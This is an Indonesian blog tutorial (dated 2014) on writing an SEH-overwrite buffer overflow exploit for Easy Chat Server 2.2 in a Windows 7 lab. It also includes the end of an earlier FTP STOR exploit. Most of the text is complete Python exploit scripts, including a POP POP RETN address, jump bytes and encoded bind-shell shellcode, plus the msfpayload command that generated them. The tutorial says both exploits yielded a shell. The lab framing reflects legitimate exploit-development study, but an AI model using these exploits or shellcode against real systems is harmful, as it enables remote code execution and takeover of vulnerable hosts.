# 368 bytes
buffer += ("\xdb\xcd\xba\x43\x40\x2a\x6a\xd9\x74\x24\xf4\x5e\x31\xc9\xb1"
"\x56\x83\xc6\x04\x31\x56\x14\x03\x56\x57\xa2\xdf\x96\xbf\xab"
"\x20\x67\x3f\xcc\xa9\x82\x0e\xde\xce\xc7\x22\xee\x85\x8a\xce"
"\x85\xc8\x3e\x45\xeb\xc4\x31\xee\x46\x33\x7f\xef\x66\xfb\xd3"
"\x33\xe8\x87\x29\x67\xca\xb6\xe1\x7a\x0b\xfe\x1c\x74\x59\x57"
"\x6a\x26\x4e\xdc\x2e\xfa\x6f\x32\x25\x42\x08\x37\xfa\x36\xa2"
"\x36\x2b\xe6\xb9\x71\xd3\x8d\xe6\xa1\xe2\x42\xf5\x9e\xad\xef"
"\xce\x55\x2c\x39\x1f\x95\x1e\x05\xcc\xa8\xae\x88\x0c\xec\x09"
"\x72\x7b\x06\x6a\x0f\x7c\xdd\x10\xcb\x09\xc0\xb3\x98\xaa\x20"
"\x45\x4d\x2c\xa2\x49\x3a\x3a\xec\x4d\xbd\xef\x86\x6a\x36\x0e"
"\x49\xfb\x0c\x35\x4d\xa7\xd7\x54\xd4\x0d\xb6\x69\x06\xe9\x67"
"\xcc\x4c\x18\x7c\x76\x0f\x75\xb1\x45\xb0\x85\xdd\xde\xc3\xb7"
"\x42\x75\x4c\xf4\x0b\x53\x8b\xfb\x26\x23\x03\x02\xc8\x54\x0d"
"\xc1\x9c\x04\x25\xe0\x9c\xce\xb5\x0d\x49\x40\xe6\xa1\x21\x21"
"\x56\x02\x91\xc9\xbc\x8d\xce\xea\xbe\x47\x79\x2d\x71\xb3\x2a"
"\xda\x70\x43\xdd\x46\xfc\xa5\xb7\x66\xa8\x7e\x2f\x45\x8f\xb6"
"\xc8\xb6\xe5\xea\x41\x21\xb1\xe4\x55\x4e\x42\x23\xf6\xe3\xea"
"\xa4\x8c\xef\x2e\xd4\x93\x25\x07\x9f\xac\xae\xdd\xf1\x7f\x4e"
"\xe1\xdb\x17\xf3\x70\x80\xe7\x7a\x69\x1f\xb0\x2b\x5f\x56\x54"
"\xc6\xc6\xc0\x4a\x1b\x9e\x2b\xce\xc0\x63\xb5\xcf\x85\xd8\x91"
"\xdf\x53\xe0\x9d\x8b\x0b\xb7\x4b\x65\xea\x61\x3a\xdf\xa4\xde"
"\x94\xb7\x31\x2d\x27\xc1\x3d\x78\xd1\x2d\x8f\xd5\xa4\x52\x20"
"\xb2\x20\x2b\x5c\x22\xce\xe6\xe4\x52\x85\xaa\x4d\xfb\x40\x3f"
"\xcc\x66\x73\xea\x13\x9f\xf0\x1e\xec\x64\xe8\x6b\xe9\x21\xae"
"\x80\x83\x3a\x5b\xa6\x30\x3a\x4e")
buffer += "xcc" * 656
command = "USER ftp\r\n"
command += "PASS ftp\r\n"
command += "STOR " + buffer + "\r\n"
print "command {0} chars ...".format(len(command))
fuzz(command)
Selanjutnya kita perlu uji coba script tersebut, jika memang aplikasi tidak crash, harus nya kita sudah mendapatkan shell nya, dan ternyata kita berhasil mendapatkan shellnya, berikut uji coba nya:


Note:
Sebagai latihan, bisa mencoba dengan menggunakan OS Windows yang lain nya, untuk mengetahui perbedaan nya seperti apa ;)

Jumat, 04 April 2014

Experimen BoF Ke-5

Hari ini kita akan belajar untuk memahami cara kerja dari buffer overflow dengan menggunakan software yang ada di pasaran, tapi tentu nya versi software tersebut sudah lama dan sudah terdapat public exploit nya juga, di sini kita akan mencoba membuat exploit versi sendiri, tapi ada sedikit perbedaan dengan experimen kita sebelumnya, buffer overflow yang sekarang menggunakan teknik SEH chain, jadi agak sedikit lebih rumit, semoga bisa di ikuti ya hehe ;)
Hal-hal yang perlu di persiapkan adalah :
- 2 OS yang berisi masing-masing VM Kali Linux ( sebagai attacker)  dan VM Windows 7 ( sebagai korban )
- Immunity Debugger
- aplikasi Easy_Chat_Server_2.2.exe, yg bisa di download di sini ( 1 2 3)
- script pvefindaddr.py, yg bisa di download di sini
Letakan script ini di folder pyCommands di dalam hasil instalasi Immunity Debuger
- contoh penampakan software Easy_Chat_Server_2.2


- sedikit pemahaman tentang python di perlukan :D

Langkah pertama:
Kita mencoba untuk mengirimkan suatu string "A" sebanyak-banyaknya sampai aplikasi tersebut mengalami crash, dalam contoh aplikasi ini saya akan mengirimkan sebanyak 2000.
Script yang di gunakan seperti berikut:

#!/usr/bin/python
import socket

host = '10.7.9.248'
port = 81

def fuzz(payload):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send(payload)
        s.shutdown
        s.close

print "Attacking {0}:{1} ...".format(host, port)
command = "GET /chat.ghp?username="
command += "A" * 2000
command += "&password=test&room=1&sex=2 HTTP/1.1\r\n\r\n"
print "command {0} chars ...".format(len(command))
fuzz(command)

Dan ternyata aplikasi mengalami crash, tapi tidak seperti eksperimen kita sebelum nya :(

Jadi untuk melihat hasil crash nya, ada perlakuan khusus untuk kasus ini. Dari Immunity Debugger pilih menu View > SEH chain, seperti pada gambar di bawah ini

Kemudian klik kanan di value "41414141", pilih Follow address in stack, maka baru bisa terlihat crash nya, seperti pada gambar di bawah ini.


Langkah kedua:
Setelah aplikasi mengalami crash di string "A" sebanyak 2000, sekarang kita akan membuat pattern string sebanyak 2000 juga, seperti pada gambar di bawah ini :


Langkah ketiga:
Edit script sebelumnya dengan menambahkan string dari langkah kedua, seperti berikut ini:
#!/usr/bin/python
import socket

host = '10.7.9.248'
port = 81

def fuzz(payload):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send(payload)
        s.shutdown
        s.close

print "Attacking {0}:{1} ...".format(host, port)
command = "GET /chat.ghp?username="
command += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
command += "&password=test&room=1&sex=2 HTTP/1.1\r\n\r\n"
print "command {0} chars ...".format(len(command))
fuzz(command)
Di sini kita fokus di bagian "Pointer to next SEH record " dan "SE handler", seperti pada gambar di bawah ini:

Langkah keempat:
Sekarang kita perlu mengetahui posisi "Pointer to next SEH record " dan "SE handler" berada di mana dengan menggunakan perintah seperti pada gambar di bawah ini:


Langkah kelima:
Saat nya kita coba lagi dengan lebih detil jumlah string yang harus di kirim kan sesuai dengan hasil di atas ;) Kemudian kita belajar untuk mengetahui apa saja karakter yang di larang, agar saat membuat payload shell tidak menjadi masalah ;)
Untuk buat script generate karakternya, bisa cek di sini

Edit script sebelumnya dengan menambahkan detil informasi yang kita dapat dari proses sebelumnya, seperti berikut:
#!/usr/bin/python
import socket

host = '10.7.9.248'
port = 81

def fuzz(payload):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send(payload)
        s.shutdown
        s.close


offsets = {
        'NXT':216,# pointer to next seh record
        'SEh':220 # se handler
}

print "Attacking {0}:{1} ...".format(host, port)
command = "GET /chat.ghp?username="
command += "A" * (offsets['NXT'])
command += "B" * 4 # selanjutnya di ganti jmp 6 bytes dan nop sleed
command += "C" * 4 # selanjutnya di ganti alamat POP POP RETN
command += "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
command += "D" * 2000
command += "&password=test&room=1&sex=2 HTTP/1.1\r\n\r\n"
print "command {0} chars ...".format(len(command))
fuzz(command)
Dan ternyata hasil nya masih ada keanehan, berarti kita harus uji coba dengan menghapus karakter dari hasil generate ./a.out.

Sekarang kita coba hapus karakter "\x00\x20", kemudian jalankan script tersebut. Dan akhirnya karakter yang muncul sudah teratur, seperti pada gambar berikut ini:

Berikut nya kita mencari alamat memory yang berisi POP POP RETN di file dll ini yang sifat nya tidak safe. Kita menggunakan script pvefindaddr.py, cara menjalankan nya di Immunity, pilih View > Executables modules, ketik !pvefindaddr modules, tunggu sampai proses selesai, seperti gambar di bawah ini:


Kemudian pilih View > Log, ketik !pvefindaddr nosafeseh, tunggu sampai proses selesai. Dari sini kita akan mendapatkan info SEH yang tidak safe, termasuk target kita, seperti gambar di bawah ini:

Berikut nya kita pilih View > Executables modules, klik file dll yang tidak safe tersebut (SSLEAY92.dll). Kemudian klik kanan di area kolom pojok kiri atas, pilih Search for > Sequence of commands, kemudian input seperti ini:
Tekan Ctrl+L untuk mencari alamat POP POP RETN yang lain dan memang ternyata ada banyak. Ambil salah satu nya saja tapi yang tidak mengandung karakter yang di larang, kita ambil contoh seperti gambar berikut:



Sekarang saat nya membuat payload shell nya dan jangan lupa pastikan payload shell kita tidak terdapat karakter yang di larang tersebut.

Langkah keenam:
Kita buat payload shell di Kali Linux dengan menggunakan perintah berikut:
msfpayload windows/shell_bind_tcp EXITFUNC=seh R | msfencode -a x86 -b "\x00\x20" -t c
Kemudian edit script kita, untuk menambahkan script payload shell tersebut, seperti berikut:
#!/usr/bin/python
import socket

host = '10.7.9.248'
port = 81


def fuzz(payload):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send(payload)
        s.shutdown
        s.close

offsets = {
        'NXT':216,# pointer to next seh record
        'SEh':220 # se handler
}

print "Attacking {0}:{1} ...".format(host, port)
command = "GET /chat.ghp?username="
command += "A" * (offsets['NXT'])
command += "\xeb\x06\x90\x90" # jmp 6 bytes dan nop sleed 2x
command += "\x77\x81\x01\x10" # alamat POP POP RETN
command += ("\xbb\xdf\xba\x3a\xeb\xdb\xdf\xd9\x74\x24\xf4\x58\x31\xc9\xb1"
"\x56\x31\x58\x13\x83\xc0\x04\x03\x58\xd0\x58\xcf\x17\x06\x15"
"\x30\xe8\xd6\x46\xb8\x0d\xe7\x54\xde\x46\x55\x69\x94\x0b\x55"
"\x02\xf8\xbf\xee\x66\xd5\xb0\x47\xcc\x03\xfe\x58\xe0\x8b\xac"
"\x9a\x62\x70\xaf\xce\x44\x49\x60\x03\x84\x8e\x9d\xeb\xd4\x47"
"\xe9\x59\xc9\xec\xaf\x61\xe8\x22\xa4\xd9\x92\x47\x7b\xad\x28"
"\x49\xac\x1d\x26\x01\x54\x16\x60\xb2\x65\xfb\x72\x8e\x2c\x70"
"\x40\x64\xaf\x50\x98\x85\x81\x9c\x77\xb8\x2d\x11\x89\xfc\x8a"
"\xc9\xfc\xf6\xe8\x74\x07\xcd\x93\xa2\x82\xd0\x34\x21\x34\x31"
"\xc4\xe6\xa3\xb2\xca\x43\xa7\x9d\xce\x52\x64\x96\xeb\xdf\x8b"
"\x79\x7a\x9b\xaf\x5d\x26\x78\xd1\xc4\x82\x2f\xee\x17\x6a\x90"
"\x4a\x53\x99\xc5\xed\x3e\xf6\x2a\xc0\xc0\x06\x24\x53\xb2\x34"
"\xeb\xcf\x5c\x75\x64\xd6\x9b\x7a\x5f\xae\x34\x85\x5f\xcf\x1d"
"\x42\x0b\x9f\x35\x63\x33\x74\xc6\x8c\xe6\xdb\x96\x22\x58\x9c"
"\x46\x83\x08\x74\x8d\x0c\x77\x64\xae\xc6\x0e\xa2\x60\x32\x43"
"\x45\x81\xc4\x72\xc9\x0c\x22\x1e\xe1\x58\xfc\xb6\xc3\xbe\x35"
"\x21\x3b\x95\x69\xfa\xab\xa1\x67\x3c\xd3\x31\xa2\x6f\x78\x99"
"\x25\xfb\x92\x1e\x57\xfc\xbe\x36\x1e\xc5\x29\xcc\x4e\x84\xc8"
"\xd1\x5a\x7e\x68\x43\x01\x7e\xe7\x78\x9e\x29\xa0\x4f\xd7\xbf"
"\x5c\xe9\x41\xdd\x9c\x6f\xa9\x65\x7b\x4c\x34\x64\x0e\xe8\x12"
"\x76\xd6\xf1\x1e\x22\x86\xa7\xc8\x9c\x60\x1e\xbb\x76\x3b\xcd"
"\x15\x1e\xba\x3d\xa6\x58\xc3\x6b\x50\x84\x72\xc2\x25\xbb\xbb"
"\x82\xa1\xc4\xa1\x32\x4d\x1f\x62\x4c\xbf\xad\x7f\xd9\x66\x44"
"\xc2\x87\x98\xb3\x01\xbe\x1a\x31\xfa\x45\x02\x30\xff\x02\x84"
"\xa9\x8d\x1b\x61\xcd\x22\x1b\xa0")
command += "&password=test&room=1&sex=2 HTTP/1.1\r\n\r\n"print "command {0} chars ...".format(len(command))
fuzz(command)
Selanjutnya kita perlu uji coba script tersebut, jika memang aplikasi tidak crash, harus nya kita sudah mendapatkan shell nya, berikut uji coba nya:



Dari hasil di atas, tampak aplikasi tidak crash dan juga kita berhasil mendapatkan shell nya.

Note:
Sebagai latihan, bisa mencoba dengan menggunakan OS Windows yang lain nya, untuk mengetahui perbedaan nya seperti apa ;)